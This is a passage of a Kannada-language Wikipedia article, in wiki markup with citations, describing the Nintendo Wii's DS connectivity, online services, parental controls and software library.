ಸಂಪರ್ಕತೆಯನ್ನು ಬೆಂಬಲಿಸುತ್ತದೆ. ಈ ಸಂಪರ್ಕತೆಯು ವೈ ಆಟಗಳಿಗೆ ಇನ್‌ಪುಟ್‌ ಆಗಿ ನಿಂಟೆಂಡೊ DS ಮೈಕ್ರೊಫೋನ್ ಮತ್ತು [[ಟಚ್‌ಸ್ಕ್ರೀನ್‌]]ಗಳನ್ನು ಬಳಸಲು ಆಟಗಾರರಿಗೆ ಅವಕಾಶ ನೀಡುತ್ತದೆ. ನಿಂಟೆಂಡೊ DS-ವೈ ಸಂಪರ್ಕತೆಯನ್ನು ಬಳಸುವ ಒಂದು ಆಟದ ನಿಂಟೆಂಡೊ ನೀಡಿದ ಮೊದಲ ಉದಾಹರಣೆ ಎಂದರೆ ''[[ಪೊಕ್‌ಮೊನ್ ಬ್ಯಾಟಲ್ ರೆವುಲ್ಯೂಶನ್]]'' . [[ಪೊಕ್‌ಮೊನ್ ಡೈಮೆಂಡ್ ಅಥವಾ ಪರ್ಲ್‌|''ಪೊಕ್‌ಮೊನ್ ಡೈಮೆಂಡ್'' ಅಥವಾ ''ಪರ್ಲ್‌'']] ಆಟಗಳ ಜೊತೆಗೆ ನಿಂಟೆಂಡೊ ಆಟಗಳೊಂದಿಗೆ ಆಟಗಾರರು ನಿಂಟೆಂಡೊ DSಯನ್ನು ಒಂದು ನಿಯಂತ್ರಕವಾಗಿ ಬಳಸಿ ಯುದ್ಧಗಳ ಆಟವನ್ನು ಆಡಲು ಸಾಧ್ಯ.<ref name="connectivity returns">{{cite web|last=Gantayat|first=Anoop|date=2006-06-07|url=http://wii.ign.com/articles/711/711657p1.html|title=Connectivity Returns|publisher=IGN|accessdate=2006-06-07|archive-date=2012-08-04|archive-url=https://www.webcitation.org/69fwCYFLF?url=http://wii.ign.com/articles/711/711657p1.html|url-status=dead}}</ref> ''[[Final Fantasy Crystal Chronicles: Echoes of Time]]'' . ನಿಂಟೆಂಡೊ ಡಿಎಸ್‌ ಮತ್ತು ವೈ ಎರಡೂ ಕೂರ‍ ಪರಸ್ಪರ‍ ಸಂಪರ್ಕ ಹೊಂದಿದ್ದು ಎರಡೂ ಆಟಗಲೂ ಜೊತೆ ಜೊತೆಗೆ ಹೆಚ್ಚಿನ ತಂತ್ರಜ್!ಜಾನವನ್ನು ಅಳವಡಿಸಿಕೊಳ್ಳ ಬಹುದಾದಂತವುಗಳಾಗಿವೆ. ನಿಂಟೆಂಡೊ ನಂತರ [[ನಿಂಟೆಂಡೊ ಚಾನೆಲ್‌]] ಬಿಡುಗಡೆ ಮಾಡಿತು, ಇದು [[DS ಡೌನ್‌ಲೋಡ್ ಕೇಂದ್ರ]]ಕ್ಕೆ ಸದೃಶ್ಯವಾದ ಒಂದು ಪ್ರಕ್ರಿಯೆಯಲ್ಲಿ ವೈ ಮಾಲೀಕರಿಗೆ [[ಆಟದ ಪ್ರದರ್ಶನ]]ಗಳು ಅಥವಾ ಅವರ ನಿನ್ಟೇನ್ಡೊ DSಗೆ ಹೆಚ್ಚುವರಿ ಡಾಟವನ್ನು ಡೌನ್‌ಲೋಡ್ ಮಾಡಲು ಅನುಮತಿಸುತ್ತದೆ.<ref name="Iwata Tech-On 3">{{cite web|first=Naoki|last=Asami|coauthors=Hiroki Yomogita|date=2006-05-25|url=http://techon.nikkeibp.co.jp/english/NEWS_EN/20060525/117498/?P=3|title=Regaining what we have lost: Nintendo CEO Iwata's Ambitions for the "Wii"|work=Tech-On!|page=3|publisher=Nikkei Business Publications|accessdate=2006-06-09}}</ref> ಕನ್ಸೊಲ್ ನಿಂಟೆಂಡೊ DS ಆಟಗಳನ್ನು ಸಹ ವಿಸ್ತರಿಸಲು ಶಕ್ತವಾಗಿದೆ.<ref name="connectivity returns" /> ===ಅನ್‌ಲೈನ್ ಸಂಪರ್ಕ=== {{Main|Nintendo Wi-Fi Connection|WiiConnect24|Internet Channel|List of Wii Wi-Fi Connection games}} ವೈ ಕನ್ಸೊಲ್ ಅದರ ಹುದುಗಿದ [[802.11b]]/[[g]] Wi-Fi ಅಥವಾ ಒಂದು USB-ಎಥರ್ನೆಟ್‌ ಅಡಪ್ಟರ್ ಮೂಲಕ ಅಂತರ್‌ಜಾಲಕ್ಕೆ ಸಂಪರ್ಕಿಸಲು ಸಮರ್ಥವಾಗಿರುತ್ತದೆ, ಎರಡು ವಿಧಗಳು ಆಟಗಾರರಿಗೆ ಸ್ಥಾಪಿತ [[ನಿಂಟೆಂಡೊ Wi-Fi ಸಂಪರ್ಕ]] ಸೇವೆಗೆ ಪ್ರವೇಶಾವಕಾಶವನ್ನು ಅನುಮತಿಸುತ್ತದೆ.<ref name="Wii: The Total Story" /> [[WEP]]ಯಿಂದ [[ತಂತಿರಹಿತ ಎನ್‌ಕ್ರಿಪ್‌ಶನ್]], [[WPA]] (TKIP/RC4) ಮತ್ತು [[WPA2]] (CCMP/AES) ಗಳನ್ನು ಬೆಂಬಲಿಸುತ್ತದೆ.<ref>{{cite web| url=http://www.nintendo.com/consumer/systems/wii/en_na/onlineWirelessRouterChoose.jsp|title=Choosing a Wireless Router|accessdate= 2006-12-13|publisher=Nintendo}}</ref> [[AOSS]] ಬೆಂಅಬಲವನ್ನು ಎಚ್ಚರಿಕೆಯಿಂದ ವ್ಯವಸ್ಥೆಯ ವೆನ್ಯು ಆವೃತ್ತಿ 3.0.ರಲ್ಲಿ ಸೇರಿಸಲಾಗಿದೆ.<ref>{{cite web|url=http://blogs.ign.com/craig-ign/2007/08/08/62734/#comments|title=Overlooked Wii 3.0 Update Function|accessdate=2007-08-08|publisher=IGN|first=Craig|last=Harris|authorlink=Craig Harris (journalist)|date=2007-08-08|archive-date=2009-04-27|archive-url=https://web.archive.org/web/20090427065024/http://blogs.ign.com/craig-ign/2007/08/08/62734#comments|url-status=dead}}</ref> ಕೇವಲ ನಿಂಟೆಂಡೊ DSಗೆ ಮಾತ್ರ, ಸೇವೆಯ ಮೂಲಕ ಆಟವಾಡಲು ನಿಂಟೆಂಡೊ ಶುಲ್ಕವನ್ನು ವಿಧಿಸುವುದಿಲ್ಲ <ref name="USA Today">{{cite web|url= http://www.usatoday.com/tech/gaming/2006-08-14-nintendo-qa_x.htm|title=Nintendo hopes Wii spells wiinner|accessdate=2006-08-16|date =2006-08-15|publisher=[[USA Today]]}}</ref><ref name="Nintendo Wii Wi-Fi page">{{cite web|first=Stephen|last=Johnson|date=2006-07-18|url=http://www.g4tv.com/thefeed/blog/post/618959/Secret_Wii_Details_Revealed.html|title=Secret Wii Details Revealed|work=The Feed|publisher=G4|accessdate=2006-07-20|archive-date=2007-09-26|archive-url=https://web.archive.org/web/20070926222903/http://www.g4tv.com/thefeed/blog/post/618959/Secret_Wii_Details_Revealed.html|url-status=dead}}</ref> ಮತ್ತು 12 ಅಂಕೆ ಫ್ರೆಂಡ್ ಕೋಡ್ ವ್ಯವಸ್ಥೆಯು ಹೇಗೆ ಆಟಗಾರರು ಒಬ್ಬರನ್ನು ಒಬ್ಬರು ಸಂಪರ್ಕಿಸುತ್ತಾರೆ ಎಂಬುದನ್ನು ನಿಯಂತ್ರಿಸುತ್ತದೆ. ಪ್ರತಿ ವೈಯು ಸಹ ವೈನ ಆಟದ ಹೊರತಾದ ಗುಣಲಕ್ಷಣಗಳಿಗೆ ಅದರದೇ ಸ್ವಂತ ವಿಶಿಷ್ಟ 16 ಅಂಕಿಯ ವೈ ಕೋಡ್‌ನ್ನು ಹೊಂದಿದೆ.<ref name="Nintendo Wii Wi-Fi page" /><ref name="Wii Wi-Fi Just Like DS">{{cite web|url=http://wii.ign.com/articles/707/707865p1.html|title=Wii Wi-Fi Just Like DS|last=Casamassina|first=Matt|authorlink=Matt Casamassina|publisher=IGN|date=2006-05-11|accessdate=2006-05-11|archive-date=2008-09-30|archive-url=https://web.archive.org/web/20080930032333/http://wii.ign.com/articles/707/707865p1.html|url-status=dead}}</ref> ಈ ವ್ಯವಸ್ಥೆಯು ವೈ ಮೆಸೇಜ್ ಬೋರ್ಡ್‌ನ್ನು ಒಳಗೊಂಡ ಕನ್ಸೊಲ್ ಆಧಾರಿತ ಸಾಫ್ಟ್‌ವೇರ್‌ನ್ನು ಸಹ ಕಾರ್ಯಗತಮಾಡುತ್ತದೆ. ಒಬ್ಬ ವ್ಯಕ್ತಿ ಮೂರನೆಯ ವ್ಯಕ್ತಿಯ ಸಾಧನಗಳೊಂದಿಗೆ ಅಂತರ್ಜಾಲವನ್ನು ಸಂಪರ್ಕಿಸಲು ಸಹ ಸಾಧ್ಯ.ಸೇವೆಯು ಕನ್ಸೊಲ್‌ಗೆ ಹಲವು ಗುಣಲಕ್ಷಣಗಳನ್ನು ಹೊಂದಿದೆ, ಅವುಗಳಲ್ಲಿ [[ವರ್ಚ್ಯುಯಲ್ ಕನ್ಸೊಲ್]], [[ವೈಕನೆಕ್ಟ್‌]], [[ಇಂಟರ್‌ನೆಟ್ ಚಾನೆಲ್]], [[ಫೊರ್‌ಕಾಸ್ಟ್ ಚಾನೆಲ್]], [[ಎವರಿಬಡಿ ವೋಟ್ಸ್ ಚಾನೆಲ್]], [[ವಾರ್ತಾ ಚಾನೆಲ್]] ಮತ್ತು [[ಚೆಕ್ ಮೈ ಔಟ್ ಚಾನೆಲ್‌]]ಗಳು ಸೇರಿವೆ. ಕನ್ಸೊಲ್ ವಿಭಿನ್ನ ದೂರದರ್ಶನದ ಸೆಟ್‌ಗಳಲ್ಲಿ ಸ್ಥಳೀಯ ತಂತಿರಹಿತ ಮಲ್ಟಿಪ್ಲೇಯರ್‌ಯನ್ನು ಸಾಧ್ಯವಾಗಿಸುತ್ತಾ, ಒಂದು ಸ್ವಯಂ-ಉತ್ಪಾದಿತ ತಂತಿರಹಿತ [[LAN]] ಮೂಲಕ ಇತರೆ ವೈ ತಂತ್ರ/ವ್ಯವಸ್ಥೆಗಳೊಂದಿಗೆ ಸಂಪರ್ಕ ಮತ್ತು ಸಂಬಂಧ ಹೊಂದಲು ಸಹ ಸಾಧ್ಯ. ''[[ಬ್ಯಾಟಲಿಯನ್ ವಾರ್ಸ್ 2]]'' ಈ ಗುಣ ವೈಶಿಷ್ಠ್ಯವನ್ನು ಎರಡು ಅಥವಾ ಹೆಚ್ಚು ದೂರದರ್ಶನಗಳ ನಡುವಿನ ವಿಭಜಿಸದ ಪರದೆಯ ಮಲ್ಟಿಪ್ಲೇಯರ್‌ಗೆ ಮೊದಲಿಗೆ ಪ್ರಮಾಣೀಕರಿಸಿತು.<ref>{{cite web|url=http://wii.ign.com/articles/727/727651p1.html|title=Battalion Wars 2 Hands On|publisher=IGN|first=Mario|last=Kablau|date=2006-08-23|accessdate=2007-01-25|archive-date=2006-09-02|archive-url=https://web.archive.org/web/20060902202730/http://wii.ign.com/articles/727/727651p1.html|url-status=dead}}</ref> ಏಪ್ರಿಲ್ 9, 2008ರಂದು, [[BBC]]ಯು ಅದರ ಅನ್‌ಲೈನ್ [[BBC iಪ್ಲೇಯರ್]] [[ಇಂಟರ್‌ನೆಟ್ ಚಾನೆಲ್]] ಮೂಲಕ ವೈ‌ನಲ್ಲಿ ಲಭ್ಯವಾಗುತ್ತದೆ ಎಂದು ಘೋಷಿಸಿತು; ಆದಾಗ್ಯೂ, ಕೆಲವು ಬಳಕೆದಾರರು ಈ ಸೇವೆಯೊಂದಿಗೆ ತೊಂದರೆಗಳನ್ನು ಅನುಭವಿಸಿದರು. ನವೆಂಬರ್ 18, 2009ರಂದು, ವೈನಲ್ಲಿ [[BBC iಪ್ಲೇಯರ್]] ಅನ್ನು ಪುನಃ ಮಾರುಕಟ್ಟೆಗೆ ಬಿಡುಗಡೆ ಮಾಡಲಾಯಿತು,<ref>{{cite news|url=http://news.bbc.co.uk/1/hi/8357777.stm|title=BBC iPlayer launches Wii channel|publisher=BBC|accessdate=2009-12-26 | date=2009-11-13}}</ref><ref>{{cite web|url=http://www.bbc.co.uk/blogs/bbcinternet/2009/11/the_new_iplayer_on_the_nintend.html|title=The new iPlayer on the Nintendo Wii|publisher=BBC|accessdate=2009-12-26}}</ref> ಅದು [[ವೈ ಶಾಪ್ ಚಾನೆಲ್‌]]ನಿಂದ ಉಚಿತವಾಗಿ ಡೌನ್‌ಲೋಡ್‌ ಮಾಡಬಹುದು.<ref>{{cite web|url=http://iplayerhelp.external.bbc.co.uk/help/playing_programmes/nintendo_Wii|title=Can I access BBC iPlayer on my Nintendo Wii?|publisher=BBC|accessdate=2009-12-26|archive-date=2009-09-15|archive-url=https://web.archive.org/web/20090915193957/http://iplayerhelp.external.bbc.co.uk/help/playing_programmes/nintendo_Wii|url-status=dead}}</ref> ಈ ಸೇವೆಯು UKಯಲ್ಲಿನ ಜನರಿಗೆ ಮಾತ್ರ ಲಭ್ಯ. ವೈಗಾಗಿ ಒಂದು ಹೊಸ ವಿಡಿಯೋ ಚಾನೆಲ್‌ನನ್ನು ಆರಂಭಿಸುವುದಾಗಿ, ಡಿಸೆಂಬರ್ 26, 2008ರಂದು, ನಿಂಟೆಂಡೊ ಘೋಷಿಸಿತು.<ref>{{cite news|last=Williams|first= Martyn|url=http://www.itworld.com/personal-tech/59808/nintendos-wii-get-video-channel-2009|title=Nintendo's Wii to get video channel in 2009|publisher=ITworld|date=2008-12-26|accessdate=2009-01-07}}</ref><ref>{{cite news|url=http://www.google.com/hostednews/afp/article/ALeqM5iDAYNeM4idRhaY1Rk_VQvUZb1qOw|title=Nintendo says to offer videos on Wii|location=Tokyo|date=2008-12-25|agency= AFP|accessdate=2009-01-07|archiveurl=https://web.archive.org/web/20081226135519/http://www.google.com/hostednews/afp/article/ALeqM5iDAYNeM4idRhaY1Rk_VQvUZb1qOw|archivedate=2008-12-26}}</ref> ===ಪೆರೆಂಟಲ್ ನಿಯಂತ್ರಣಗಳು=== ಕನ್ಸೊಲ್ [[ಪೆರೆಂಟಲ್ ನಿಯಂತ್ರಣ]]ಗಳನ್ನು ಮುಖ್ಯಭಾಗವಾಗಿ ಹೊಂದಿದೆ, ಅವುಗಳನ್ನು ಕಿರಿಯ ಬಳಕೆದಾರರು ಅವರ ವಯಸ್ಸಿನ ಮಟ್ಟಕ್ಕೆ ಸೂಕ್ತವಲ್ಲವೆಂದು ಪರಿಗಣಿಸಿದ ಅಂಶದ ಜೊತೆ ಆಟಗಳನ್ನು ಆಡುವುದನ್ನು ನಿರ್ಬಂಧಿಸಲು ಬಳಸಲು ಸಾಧ್ಯ. ಒಬ್ಬರು ಒಂದು ವೈ ಅಥವಾ [[ವರ್ಚ್ಯುಯಲ್ ಕನ್ಸೊಲ್‌]] ಆಟವನ್ನು ಆಡಲು ಪ್ರಯತ್ನಿಸಿದಾಗ, ಅದು ಆಟದ ಡಾಟದಲ್ಲಿನ ಎನ್‌ಕೋಡ್‌ಮಾಡಿದ ಅಂಶದ ರೇಂಟಿಂಗ್‌‌ನ್ನು ಓದುತ್ತದೆ; ಆ ರೇಟಿಂಗ್ ವ್ಯವಸ್ಯೆಯು ನಿಗದಿ ಮಾಡಿದ ವಯಸ್ಸಿನ ಮಟ್ಟಕ್ಕಿಂತ ಹೆಚ್ಚಾಗಿದ್ದರೆ ಆಟವು ಒಂದು ಸರಿಯಾದ ಪಾಸ್‌ವರ್ಡ್‌ನ ಹೊರತಾಗಿ ಲೋಡ್ ಆಗುವುದಿಲ್ಲ. ಪೆರೆಂಟಲ್ ನಿಯಂತ್ರಣಗಳು ಅಂತರ್‌ಜಾಲ ಪ್ರವೇಶಾವಕಾಶವನ್ನು ಸಹ ನಿರ್ಬಂಧಿಸುತ್ತದೆ, ಅದು [[ಅಂತರ್‌ಜಾಲ ಚಾನೆಲ್]] ಮತ್ತು ವ್ಯವಸ್ಥೆಯನ್ನು ನವೀಕರಿಸುವ ಗುಣಲಕ್ಷಣಗಳನ್ನು ಪ್ರತಿಬಂಧಿಸುತ್ತದೆ. ಕನ್ಸೊಲ್ [[ನಿಂಟೆಂಡೊ ಗೆಮ್‌ಕ್ಯೂಬ್]] ಕಾರ್ಯಗುಣತೆಗೆ ಸೀಮಿತಗೊಂಡಿರುವುದರಿಂದ ನಿಂಟೆಂಡೊ ಗೆಮ್‌ಕ್ಯೂಬ್ ಆಟದ ಡಿಸ್ಕ್‌ಗಳನ್ನು ಆಡುವಾಗ, ಗೆಮ್‌ಕ್ಯೂಬ್ ಸಾಫ್ಟ್‌ವೇರ್ ವೈ ಪೆರೆಂಟಲ್‌ ನಿಯಂತ್ರಣದ ವ್ಯವಸ್ಥೆಗಳಿಂದ ಬಾಧಿಸುವುದಿಲ್ಲ. ಯುರೋಪಿಯನ್ ಘಟಕಗಳು ಮುಖ್ಯವಾಗಿ [[PEGI]] ರೇಟಿಂಗ್ ವ್ಯವಸ್ಥೆಯನ್ನು ಬಳಸುತ್ತವೆ,<ref name="par_pegi">{{cite news|url= http://www.nintendoworldreport.com/newsArt.cfm?artid=10948|title=Revolution To Feature Parental Controls|publisher=[[Nintendo World Report]]|date=2005-11-16 |accessdate=2008-09-25}}</ref> ಆದರೆ ಉತ್ತರ ಅಮೆರಿಕದ ಘಟಕಗಳು [[ESRB]] ರೇಟಿಂಗ್ ವ್ಯವಸ್ಥೆಯನ್ನು ಬಳಸುತ್ತವೆ.<ref name="par_esrb">{{cite press release|url=http://www.nintendo.com/newsarticle?articleid=z5UnNGZpQKWULzG0z8R501PA5IHoNPr2|title=Nintendo Announces Play Control System For Next Hardware|publisher= Nintendo|date=2005-11-16|archiveurl=https://web.archive.org/web/20070213012428/http://www.nintendo.com/newsarticle?articleid=z5UnNGZpQKWULzG0z8R501PA5IHoNPr2|archivedate=2007-02-13}}</ref> ವೈ ಘಟಕಗಳು ಹಲವು ದೇಶಗಳ ಸ್ಥಳೀಯ ರೇಟಿಂಗ್ ವ್ಯವಸ್ಥೆಯನ್ನು ಬೆಂಬಲಿಸುತ್ತವೆ,ಅವುಗಳೆಂದರೆ ಜಾಪನ್‌ನಲ್ಲಿ [[CERO]], ಜರ್ಮನ್‌ನಲ್ಲಿ [[USK]], ಯುನೈಟೆಡ್ ಕಿಂಗ್‌ಡಮ್‌ನಲ್ಲಿ [[PEGI]] ಮತ್ತು [[BBFC]] ಎರಡೂ ಮತ್ತು ಆಸ್ಟ್ರೇಲಿಯಾ ಮತ್ತು [[ನ್ಯೂಜಿಲ್ಯಾಂಡ್‌]]ನಲ್ಲಿ [[OFLC]] ಹೋಂಬ್ರೆವ್ ಅಭಿವರ್ಧಕರು ವಿರುದ್ಧ ಇಂಜಿನಿಯರ್‌ ಕಾರ್ಯವನ್ನು ಹೊಂದಿದ್ದಾರೆ ಅದನ್ನು ನಿಂಟೆಂಡೊ ಕಳೆದು ಹೋದ ಪೆರೆಂಟಲ್ ನಿಯಂತ್ರಣದ ಪಾಸ್‌ವರ್ಡ್‌ವನ್ನು ಮರಳಿ ಪಡೆಯಲು ಬಳಸುತ್ತದೆ ಮತ್ತು ಪೆರೆಂಟಲ್‌ ನಿಯಂತ್ರಣವನ್ನು ಪುನಃಸ್ಥಾಪಿಸುವ ಕೋಡ್‌/ಸಂಕೇತಗಳನ್ನು ಪಡೆಯಲು ಒಂದು ಸರಳ ಲಿಪಿಯನ್ನು ರಚಿಸಿದ್ದಾರೆ.<ref>{{cite web|author=marcan |url=http://hackmii.com/2008/05/parental-controls/ |title=Parental Controls |publisher=HackmMii.com |date=May 15, 2008 |accessdate=2009-07-03}}</ref> ==ಸಾಪ್ಟ್‌ವೇರ್‌ ಗ್ರಂಥಾಲಯ== {{See also|List of Wii games|List of video games published by Nintendo|List of WiiWare games|Virtual Console}} [[File:Wii CD thingy.PNG|thumb|ಉದಾಹರಣೆಗೆ ವೈ ದೃಗ್ವಿಜ್ಞಾನ ಡಿಸ್ಕ್]] ಈ ಗೇಮ್‌ನ ರಿಟೇಲ್‌ ಕಾಪಿಗಳು ಮಾಲಿಕತ್ವದ ಆಧಾರದ ಮೇಲೆ, [[DVD]]- ಅಲ್ಲದೆ ವೈ-ಆಪ್ಟಿಕಲ್ ಡಿಸ್ಕ್ಸ್‌‌ಗಳು ಬಳಕೆ ಮಾಹಿತಿಯ ಆದಾರದ ಮೇಲೆ [[ಒಂದು ಪೆಟ್ಟಿಗೆ]]ಯಲ್ಲಿ ಲಭ್ಯವಿದೆ. ಯುರೋಪ್‌ ದೇಶದ ಬಿಡುಗಡೆಯಲ್ಲಿ, ಈ ರಿಟೇಲ್‌ ಬಾಕ್ಸ್‌ಗಳು ಕೆಳಭಾಗದಲ್ಲಿ ತ್ರಿಭುಜವನ್ನು ಮುದ್ರಿಸಿಕೊಂಡವುಗಳಾಗಿದ್ದು ಸ್ಲೀವ್‌ ಸ್ಲೈಡ್‌ನ ಪೇಪರ್‌ ಇನ್‌ಸರ್ಟ್‌ ಹೊಂದಿದವುಗಳಾಗಿವೆ. ತ್ರಿಭುಜದ ಮಧ್ಯದಲ್ಲಿ ಬರೆದಿರುವ ಗುರುತಿನಿಂದ ಅದು ಯಾವ ಭಾಷೆಗೆ ಸಂಬಂಧಿಸಿದ್ದು ಹಾಗೂ ಅದರಲ್ಲಿಯ ಬಳಕೆದಾರರ ಪುಸ್ತಕವು ಯಾವ ಭಾಷೆಯದ್ದು ಎಂದು ಕಂಡುಕೊಳಳಬಹುದಾಗಿದೆ. ಕನ್ಸೋಲ್‌ [[ಸ್ಥಳೀಯ ಲಾಕ್‌ ಔಟ್‌]] ಅನ್ನು ಬೆಂಬಲಿಸುತ್ತದೆ.<ref name="notregionfree">{{cite web|url= http://www.joystiq.com/2006/09/15/wii-not-even-remotely-region-free/|first=Ludwig|last=Kietzmann|date=2006-09-14|title=Wii not even remotely region-free|publisher=Joystiq|accessdate=2006-12-06}}</ref> ಹೊಸ ಆಟಗಳು ನಿಂಟೆಂಡೊನ ಉಪ ಉತ್ಪನ್ನಗಳಂತೆ ಕಂಡುಬಂದವು ಉದಾಹರಣೆಗೆ ''[[ದಿ ಲೆಜೆಂಡ್‌ ಆಫ್‌ ಜೆಲ್ಡಾ]]'' , ''[[ಸೂಪರ್‌ ಮಾರಿಯೋ]]'' , ''[[ಪೋಕಮನ್‌]]'' ಮತ್ತು ''[[ಮೆಟ್ರೋಯಿಡ್]]'' ‌ಗಳು ಬಿಡುಗಡೆಯಾದವು. ಇವು ವೈಗಾಗಿಯೇ ತಯಾರಾದ ಆಟಗಳಾಗಿದ್ದವು. ಪ್ರಮುಖ ಕಂಪೆನಿಗಳಿಂದ ನಿಂಟೆಂಡೊ ಮೂರನೆ ವ್ಯಕ್ತಿಯ ಬೆಂಬಲವನ್ನು ಪಡೆದಿದೆ, ಅವುಗಳು [[ಯುಬಿಸಾಪ್ಟ್]], [[ಸೆಗಾ]], [[ಸ್ಕ್ವೇರ್ ಇನಿಕ್ಸ್]], [[ಆಕ್ಟಿವಿಶನ್ ಬ್ಲಿಜ್ಜಾರ್ಡ್]], [[ಎಲೆಕ್ಟ್ರಾನಿಕ್ ಆರ್ಟ್ಸ್]], ಮತ್ತು [[ಕ್ಯಾಪ್‌ಕಾಮ್]], ಪ್ಲೇಸ್ಟೇಷನ್ 3 ಅಥವಾ Xbox 360ಗಾಗಿ ಗಿಂತ ಹೆಚ್ಚು ಆಟಗಳನ್ನು ಪ್ರತ್ಯೇಕವಾಗಿ ವೈಗಾಗಿ ಅಭಿವೃದ್ಧಿ ಪಡಿಸಲಾಗಿದೆ.<ref>{{cite web|title=Wii Has Most Exclusive Games In Pipeline|url=http://www.eontarionow.com/science/2007/07/25/wii-has-most-exclusive-games-in-pipeline/|publisher=EON|date=2007-07-25|accessdate=2007-07-29}}</ref> [[ನ್ಯೂ ಪ್ಲೇ ಕಂಟ್ರೋಲ್!]] ಅನ್ನು ಸಹ ನಿಂಟೆಂಡೊ ಮಾರುಕಟ್ಟೆಗೆ ಬಿಡುಗಡೆ ಮಾಡಿತು. ಲೈನ್, ವೈ ಮುಖ್ಯಭಾಗವಾಗಿ ಹೊಂದಿರುವ ನವೀಕರಿಸಿದ ಕನ್ಸೊಲ್‌ಗಳಿಗೆ ಗೆಮ್‌ಕ್ಯೂಬ್ ಆಟಗಳ ಹೆಚ್ಚಿಸಿದ ಒಂದು ಆಯ್ಕೆಯಾಗಿದೆ.<ref>{{cite web|url=http://wii.ign.com/articles/915/915529p1.html|title=IGN: First Look: Wii de Asobu Pikmin|publisher=IGN|first=John|last=Tanaka|accessdate=2008-10-28|archive-date=2012-05-12|archive-url=https://web.archive.org/web/20120512065536/http://wii.ign.com/articles/915/915529p1.html|url-status=dead}}</ref> [[ವರ್ಚ್ಯುಯಲ್ ಕನ್ಸೊಲ್]] ಸೇವೆ ಮೂಲತಃವಾಗಿ [[ನಿಂಟೆಂಡೊ ಎಂಟರ್‌ಟೈನ್‌ಮೆಂಟ್ ಸಿಸ್ಟಮ್]]‌ಗಾಗಿ ಬಿಡುಗಡೆ ಮಾಡಿದ ಆಟಗಳನ್ನು ಆಡಲು ವೈ ಮಾಲೀಕರಿಗೆ ಅನುಮತಿಸುತ್ತದೆ, [[ಸೂಪರ್‌ ನಿಂಟೆಂಡೊ ಎಂಟರ್‌ಟೈನ್‌ಮೆಂಟ್‌ ಸಿಸ್ಟಮ್]] ಮತ್ತು [[ನಿಂಟೆಂಡೊ 64]], ಹಾಗೆಯೇ [[ಸೆಗಾ]]ದ [[ಮೆಗ ಡ್ರೈವ್/ಜೆನೆಸಿಸ್]] ಮತ್ತು [[SG-1000 ಮಾರ್ಕ್‌ III/ಸೆಗಾ ಮಾಸ್ಟರ್ ಸಿಸ್ಟಮ್]],<ref>{{cite web|url=http://wii.ign.com/articles/847/847651p1.html|title=Master System Meets Wii|publisher=IGN|date=2008-01-25|first=Anoop|last=Gantayat|accessdate=2008-09-17|archive-date=2008-07-04|archive-url=https://web.archive.org/web/20080704161246/http://wii.ign.com/articles/847/847651p1.html|url-status=dead}}</ref> [[NEC]]ಯ [[TurboGrafx-16/PC ಇಂಜಿನ್]], [[SNK]]ಯ [[ನಿಯೋ ಜಿಯೋ ಕನ್ಸೊಲ್]], [[ಕಾಮ್ಮೊಡೊರ್ 64]], ಮತ್ತು [[ಅರ್ಕೇಡ್‌ ಆಟ]]ಗಳ ಆಯ್ಕೆ.<ref>{{cite web|url=http://www.nintendo.com/wii/virtualconsole|title=Virtual Console at Nintendo|publisher=[[Nintendo]]|accessdate=2008-09-17|archive-date=2010-05-01|archive-url=https://web.archive.org/web/20100501105520/http://www.nintendo.com/wii/virtualconsole|url-status=dead}}</ref> ವರ್ಚ್ಯುಯಲ್ ಕನ್ಸೊಲ್ ಆಟಗಳನ್ನು [[ವೈ ಶಾಪ್ ಚಾನೆಲ್‌]] ಮೂಲಕ ಬ್ರಾಂಡ್‌ಬ್ಯಾಂಡ್ ಇಂಟರ್‌ನೆಟ್‌ಗೆ ಹಂಚಲಾಗಿದೆ, ಮತ್ತು ಅವುಗಳನ್ನು ವೈ ಅಂತರಿಕ ಮೆಮೋರಿ ಅಥವಾ ಒಂದು ತೆಗೆಯಬಲ್ಲ [[SD ಕಾರ್ಡ್‌]]ಗೆ ಉಳಿಸಲಾಗಿದೆ. ಒಮ್ಮೆ ಡೌನ್‌ಲೋಡ್ ಮಾಡಿದ, ವರ್ಚ್ಯುಯಲ್ ಕನ್ಸೊಲ್ ಆಟಗಳನ್ನು [[ವೈ ಮೆನ್ಯು]]ಯಿಂದ ಪ್ರತ್ಯೇಕ ಚಾನೆಲ್‌‌ಗಳಾಗಿ ಅಥವಾ ನೇರವಾಗಿ SD ಕಾರ್ಡ್ ಮೆನ್ಯು ಮೂಲಕ ಒಂದು SD ಕಾರ್ಡ್‌ನಿಂದ ಪ್ರವೇಶಿಸಲು ಸಾಧ್ಯ. ರಚಿಸುವ ಮತ್ತು ಆಟವಾಡುವ ಅಂಶಕ್ಕೆ ಅರ್ಪಿತವಾದ ಒಂದು [[ವೈ ಹೋಮ್‌ಬ್ರೆವ್]] ಸಂಸ್ಥೆ ಕೂಡ ಇದೆ, ಅದು ನಿಂಟೆಂಡೊ ಒಪ್ಪಿಗೆಯನ್ನು ಪಡೆಯುವುದ್ದಿಲ್ಲ. ಅಧಿಕೃತ ವೈ ಆಟಗಳನ್ನು ರಚಿಸಲು ಆಟದ ಅಭಿವೃದ್ಧಿ ತಂಡ [[ಯುನಿಟಿ]]ಯನ್ನು ಬಳಸಬಹುದು.<ref>{{cite web |url=http://unity3d.com/unity/features/wii-publishing |title=Wii Publishing |date=2008-12-23}}</ref> ಅಭಿವರ್ಧಕರು ಆದಾಗ್ಯೂ ಕನ್ಸೊಲ್‌ಗಾಗಿ ಆಟಗಳನ್ನು ಅಭಿವೃದ್ಧಿಪಡಿಸಲು ನಿಂಟೆಂಡೊ ಮೂಲಕ ಅಧಿಕಾರ ಪಡೆಯಬೇಕು. ಆಟಗಳು ಮಾರಾಟವಾಗಲು ಆಟಗಳನ್ನು ಸಹ ಮಂಡಿಸಬೇಕು ಮತ್ತು ನಿಂಟೆಂಡೊ‌ದಿಂದ ಒಪ್ಪಿಗೆ ಗಳಿಸಬೇಕು. [[54 ಶೀರ್ಷಿಕೆ]]ಗಳೊಂದಿಗೆ ಮಿಲಿಯನ್ ಘಟಕ ಗುರುತನ್ನು ಮೀರಿ, ಡಿಸೆಂಬರ್ 2009ರಂತೆ, 509.66 ಮಿಲಿಯನ್‌ಗಿಂತ ಹೆಚ್ಚು ವೈ ಆಟಗಳು ವಿಶ್ವವ್ಯಾಪಕವಾಗಿ ಮಾರಾಟಗೊಂಡಿವೆ.<ref name="wii sells 67 million" /> ಅತಿ ಯಶಸ್ವಿಯಾದ ಆಟ ''[[ವೈ ಸ್ಪೋರ್ಟ್ಸ್]]'' , ಅದು ಹೆಚು 